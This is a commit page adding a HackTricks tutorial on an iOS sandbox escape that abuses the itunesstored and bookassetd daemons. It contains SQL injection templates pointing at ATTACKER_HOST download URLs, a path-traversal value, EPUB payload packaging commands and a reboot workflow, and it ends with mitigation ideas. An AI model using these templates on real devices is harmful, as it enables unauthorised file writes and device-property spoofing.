Skip to content

Commit 8baf20b

Browse files
authored
Merge pull request #1598 from HackTricks-wiki/update_itunesstored___bookassetd_sandbox_escape_via_malic_20251124_063048
itunesstored & bookassetd sandbox escape via malicious downl...
2 parents 170e1b3 + 9255a93 commit 8baf20b

File tree

3 files changed

+187
-0
lines changed

3 files changed

+187
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -398,6 +398,7 @@
398398
- [iOS Universal Links](mobile-pentesting/ios-pentesting/ios-universal-links.md)
399399
- [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md)
400400
- [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md)
401+
- [Itunesstored Bookassetd Sandbox Escape](mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md)
401402
- [Cordova Apps](mobile-pentesting/cordova-apps.md)
402403
- [Xamarin Apps](mobile-pentesting/xamarin-apps.md)
403404

src/mobile-pentesting/ios-pentesting/README.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1189,6 +1189,10 @@ otool -L <application_path>
11891189
air-keyboard-remote-input-injection.md
11901190
{{#endref}}
11911191
1192+
{{#ref}}
1193+
itunesstored-bookassetd-sandbox-escape.md
1194+
{{#endref}}
1195+
11921196
## **References & More Resources**
11931197
11941198
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
# itunesstored & bookassetd Sandbox Escape
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
Recent research shows that two pre-installed iOS daemons, **`itunesstored`** (downloads manager) and **`bookassetd`** (Books / iBooks asset manager), blindly trust user-writable SQLite metadata. By dropping crafted `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` files plus a minimal EPUB archive, an attacker who can write under `/var/mobile/Media/` can coerce these daemons into **arbitrary file writes across most `mobile`-owned paths inside `/private/var/`**. The primitives survive reboots and let you tamper with system group caches such as `systemgroup.com.apple.mobilegestaltcache` to spoof device properties or persist configuration.
8+
9+
Key properties:
10+
11+
- Works on devices up to at least **iOS 26.2b1** (tested on iPhone 12 / iOS 26.0.1).
12+
- Writable targets include `SystemGroup` caches, `/private/var/mobile/Library/FairPlay`, `/private/var/mobile/Media`, and other `mobile` owned files. Writes to `root`-owned files fail.
13+
- Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.
14+
15+
## Threat Model & Requirements
16+
17+
1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` (via AFC clients like 3uTools, i4.cn, or [`afcclient`](https://github.com/emonti/afcclient) over USB, or any prior compromise).
18+
2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB) exposed through URLs such as `https://ATTACKER_HOST/fileprovider.php?type=...`.
19+
3. Ability to **reboot the device multiple times** to make each daemon reload its database.
20+
4. Knowledge of the **Books system-group UUID** so the Stage 1 write lands in the right container (found via syslog).
21+
22+
## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored`
23+
24+
`itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row that points to an attacker URL and sets `local_path` to `.../Documents/BLDatabaseManager/BLDatabaseManager.sqlite` inside the Books SystemGroup causes `itunesstored` to download and overwrite the Books database with attacker content on boot.
25+
26+
### Locate the Books SystemGroup UUID
27+
28+
1. Collect a syslog archive with [`pymobiledevice3`](https://github.com/doronz88/pymobiledevice3):
29+
```bash
30+
pymobiledevice3 syslog collect logs.logarchive
31+
```
32+
2. Open `logs.logarchive` in **Console.app** and search for `bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite`.
33+
3. Record `<UUID>` and substitute it in the SQL payload.
34+
35+
### Malicious `asset` row
36+
37+
<details>
38+
<summary>Stage 1 INSERT template</summary>
39+
40+
```sql
41+
INSERT INTO "main"."asset" (
42+
"pid","download_id","asset_order","asset_type","bytes_total",
43+
"url","local_path","destination_url","path_extension","retry_count",
44+
"http_method","initial_odr_size","is_discretionary","is_downloaded",
45+
"is_drm_free","is_external","is_hls","is_local_cache_server",
46+
"is_zip_streamable","processing_types","video_dimensions",
47+
"timeout_interval","store_flavor","download_token","blocked_reason",
48+
"avfoundation_blocked","service_type","protection_type",
49+
"store_download_key","etag","bytes_to_hash","hash_type","server_guid",
50+
"file_protection","variant_id","hash_array","http_headers",
51+
"request_parameters","body_data","body_data_file_path","sinfs_data",
52+
"dpinfo_data","uncompressed_size","url_session_task_id"
53+
) VALUES (
54+
1234567890,6936249076851270150,0,'media',NULL,
55+
'https://ATTACKER_HOST/fileprovider.php?type=sqlite',
56+
'/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite',
57+
NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0,
58+
NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0,
59+
NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1
60+
);
61+
```
62+
63+
</details>
64+
65+
**Fields that matter:**
66+
67+
- `url`: attacker-controlled endpoint returning the malicious `BLDatabaseManager.sqlite`.
68+
- `local_path`: Books system-group `BLDatabaseManager.sqlite` file determined above.
69+
- Control flags: keep defaults (`asset_type='media'`, `path_extension='epub'`, booleans set to 0/1 as in the template) so the daemon accepts the task.
70+
71+
### Deployment
72+
73+
1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races.
74+
2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC.
75+
3. Reboot → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
76+
4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist`; Stage 2 expects it at that location.
77+
78+
## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd`
79+
80+
`bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row that references attacker URLs and a traversal in `ZPLISTPATH`, the daemon downloads your EPUB to `/var/mobile/Media/Books/asset.epub` and later unpacks metadata into **any `mobile`-owned path reachable through `../../..` escape sequences**.
81+
82+
### Malicious `ZBLDOWNLOADINFO` row
83+
84+
<details>
85+
<summary>Stage 2 INSERT template</summary>
86+
87+
```sql
88+
INSERT INTO "ZBLDOWNLOADINFO" (
89+
"Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING",
90+
"ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER",
91+
"ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE",
92+
"ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION",
93+
"ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER",
94+
"ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE",
95+
"ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH",
96+
"ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER",
97+
"ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID",
98+
"ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION",
99+
"ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL",
100+
"ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL",
101+
"ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO",
102+
"ZSINFDATA","ZFILEATTRIBUTES"
103+
) VALUES (
104+
1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,
105+
0,0,0,NULL,4648,2,'765107108',NULL,
106+
767991550.119197,NULL,767991353.245275,NULL,NULL,
107+
'/private/var/mobile/Media/Books/asset.epub',
108+
'productType=PUB&salableAdamId=765107106&...',
109+
'https://p19-buy.itunes.apple.com/...',
110+
'4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna',
111+
'../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library',
112+
NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL,
113+
'/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL,
114+
'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt',
115+
'Cartas de Amor a la Luna','J19N_PUB_190099164604738',
116+
'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL
117+
);
118+
```
119+
120+
</details>
121+
122+
Important fields:
123+
124+
- `ZASSETPATH`: on-disk EPUB location controlled by the attacker.
125+
- `ZURL`/`ZPERMLINK`: attacker URLs hosting the EPUB and auxiliary plist.
126+
- `ZPLISTPATH`: `../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library` – the **path traversal base** appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.
127+
- Purchase metadata (`ZSTOREIDENTIFIER`, names, timestamps) mimic legitimate entries so the daemon does not discard the row.
128+
129+
After copying the malicious DB into `/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite` (courtesy of Stage 1) and rebooting twice, `bookassetd` will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.
130+
131+
## Crafting the EPUB Payload
132+
133+
`bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to `ZPLISTPATH`.
134+
135+
```
136+
Caches/
137+
├── mimetype
138+
└── com.apple.MobileGestalt.plist
139+
```
140+
141+
Create the archive:
142+
143+
```bash
144+
zip -X0 hax.epub Caches/mimetype
145+
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
146+
```
147+
148+
- `mimetype` typically contains the literal `application/epub+zip`.
149+
- `Caches/com.apple.MobileGestalt.plist` holds the attacker-controlled payload that will land at `.../Library/Caches/com.apple.MobileGestalt.plist`.
150+
151+
## Orchestration Workflow
152+
153+
1. **Prepare files** on the attacker HTTP server and craft both SQLite DBs with host/UUID-specific values.
154+
2. **Replace `downloads.28.sqlitedb`** on the device and reboot → Stage 1 downloads the malicious `BLDatabaseManager.sqlite` and emits `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
155+
3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if the daemon deletes it).
156+
4. **Reboot again**`bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/` using Stage 2 metadata.
157+
5. **Reboot a third time**`bookassetd` processes the downloaded asset, follows `ZPLISTPATH`, and writes the EPUB contents into the targeted SystemGroup path (e.g., `com.apple.MobileGestalt.plist`).
158+
6. **Verify** by reading the overwritten plist or observing that MobileGestalt-derived properties (model identifier, activation flags, etc.) change accordingly.
159+
160+
The same pattern lets you drop files under other `mobile`-owned caches, such as FairPlay state or persistence directories, enabling stealthy tampering without needing a kernel exploit.
161+
162+
## Tooling & Operational Notes
163+
164+
- **`pymobiledevice3 syslog collect logs.logarchive`** – extract log archives to discover the Books SystemGroup UUID.
165+
- **Console.app** – filter for `bookassetd [Database]: Store is at ...` to recover the exact container path.
166+
- **AFC clients (`afcclient`, 3uTools, i4.cn)** – push/pull SQLite DBs and plist files over USB without jailbreak.
167+
- **`zip`** – enforce EPUB ordering constraints when packaging payloads.
168+
- **Public PoC**<https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates you can customize.
169+
170+
## Detection & Mitigation Ideas
171+
172+
- Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input: validate that `local_path` / `ZPLISTPATH` stay within approved sandboxes and reject fully qualified paths or traversal tokens.
173+
- Monitor for AFC writes that replace these databases or for unexpected downloads initiated by `itunesstored` / `bookassetd` shortly after boot.
174+
- Harden `bookassetd` unpacking to `realpath()` the output target and ensure it cannot escape the Books container before writing files.
175+
- Restrict AFC / USB file copy channels or require user interaction before allowing replacement of Books/iTunes metadata files.
176+
177+
## References
178+
179+
- [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/)
180+
- [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx)
181+
182+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)